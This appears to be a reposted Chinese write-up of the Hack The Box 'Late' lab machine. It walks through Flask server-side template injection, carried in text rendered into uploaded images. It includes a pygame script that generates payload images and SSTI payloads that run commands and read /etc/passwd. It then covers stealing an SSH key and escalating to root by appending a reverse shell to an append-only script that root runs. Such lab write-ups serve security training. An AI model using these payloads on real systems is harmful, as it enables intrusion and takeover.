[HTB] Late Writeup

admin 2023年4月26日08:32:52评论14 views字数 3527阅读11分45秒阅读模式

概述 (Overview)

[HTB] Late Writeup

HOST: 10.10.11.156

OS: LINUX

发布时间: 2022-04-24

完成时间: 2022-06-16

机器作者: kavigihan

困难程度: EASY

机器状态: 退休

MACHINE TAGS: #Flask #SSTI #CommandInjection

攻击链 (Kiillchain)

使用 Nmap 扫描目标服务器开放端口,利用 Web 服务 Flask 框架的 SSIT 漏洞读取用户私钥,通过 SSH 登录拿到立足点。传递 linpeas 脚本至目标服务器运行深度枚举,发现 root 计划任务执行脚本。最终通过向脚本中追加反弹 shell 代码段,完成权限提升。

枚举(Enumeration)

开始还是采用 Nmap 软件对目标服务器的开放端口进行扫描:

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 1575FDF0E164C3DB0739CF05D9315BDF
|_http-title: Late - Best online image tools
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

仅开放了两个端口,看样子又是要从 Web 服务中进行打点了。

[HTB] Late Writeup

立足点(Foothold)

查看页面源代码可以看到叫 images.late.htb 的域名:

[HTB] Late Writeup

echo "10.10.11.156 images.late.htb late.htb" >> /etc/hosts

加入 hosts 后进行访问,是一个 Flask 框架运行的 Web 服务,用于提取图片中的文字内容。

[HTB] Late Writeup

通过一张空白的图片能够得到文件的绝对路径:

Error occured while processing the image: cannot identify image file '/home/svc_acc/app/uploads/reverse.png5026'

目前已经知道解析图片的 Web 服务是 Flask 框架,结合以往经验,能够 RCE 的情况只有命令注入了。而 Flask 的 RCE 一般是 SSIT 这类的,所以简单构造了一个文字是 {{7*7}} 的图片进行验证。

[HTB] Late Writeup

从返回结果中可以看到,已经成功将 7*7 的结果进行了输出,说明漏洞存在。为了方便自定义图片,简单使用 python 生成自定义的文字图片:

# -*- coding: utf-8 -*-

import os
import pygame

pygame.init()

text = u'''{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}'''
font = pygame.font.Font('JetBrainsMono-Bold.ttf', 24)
rtext = font.render(text, True, (0, 0, 0), (255, 255, 255))

pygame.image.save(rtext, "test.png")

[HTB] Late Writeup

将使用 Python 内置函数的代码段生成的图片进行上传,从结果中可以看到成功执行了 id 命令。

服务器SSIT模板注入 - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md

接着读取 /etc/passwd 文件代码段:

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

成功在 svc_acc 用户下找到 SSH 登录私钥:

[HTB] Late Writeup

使用该私钥登录成功拿到立足点。

[HTB] Late Writeup

权限提升(Privilege Escalation)

将 linpeas 脚本传递至目标服务器并运行脚本进行深度分析,发现一个 ssh-alert.sh 的脚本文件。

[HTB] Late Writeup

root@late:/root# cat scripts/ssh-alert.sh
#!/bin/bash

RECIPIENT="[email protected]"
SUBJECT="Email from Server Login: SSH Alert"

BODY="
A SSH login was detected.

        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"


if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi

同时使用 pspy 软件,监听服务器上的定时任务信息,发现 root 账号会去执行该脚本。

[HTB] Late Writeup

看下权限,发现 svc_acc 用户具备编辑权限,但是直接编辑后会提示无权限保存。

svc_acc@late:/dev/shm$ ls -lsh /usr/local/sbin/ssh-alert.sh
4.0K -rwxr-xr-1 svc_acc svc_acc 433 Jun 16 05:01 /usr/local/sbin/ssh-alert.sh

在 Linux 中其实还有个第二扩展文件系统属性,一般使用 chattr 命令进行赋值,可以使用 lsattr 命令进行查看。

svc_acc@late:/dev/shm$ lsattr /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh
  • • a:让文件或目录仅供附加用途(默认是没有的)

  • • e:文件正在使用扩展数据块映射磁盘上的块(默认就是 e 参数)

可以看到仅可以对文件内容进行追加,直接将反弹 shell 利用 >> 命令追加进行就好了。

[HTB] Late Writeup

等待 root 定时任务执行,成功完成权限提升。

[HTB] Late Writeup

环境维持

root@late:/root# cat scripts/cron.sh
#!/bin/bash

# Adding alert file
chattr -/usr/local/sbin/ssh-alert.sh
rm /usr/local/sbin/ssh-alert.sh
cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh
chmod +/usr/local/sbin/ssh-alert.sh
chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh
rm -/home/svc_acc/app/uploads/* 2>/dev/null
rm -/home/svc_acc/app/misc/* 2>/dev/null
chattr +/usr/local/sbin/ssh-alert.sh

参考

  • • https://xz.aliyun.com/t/3679


原文始发于微信公众号(一个人的安全笔记):[HTB] Late Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月26日08:32:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [HTB] Late Writeuphttp://cn-sec.com/archives/1690707.html

发表评论

匿名网友 填写信息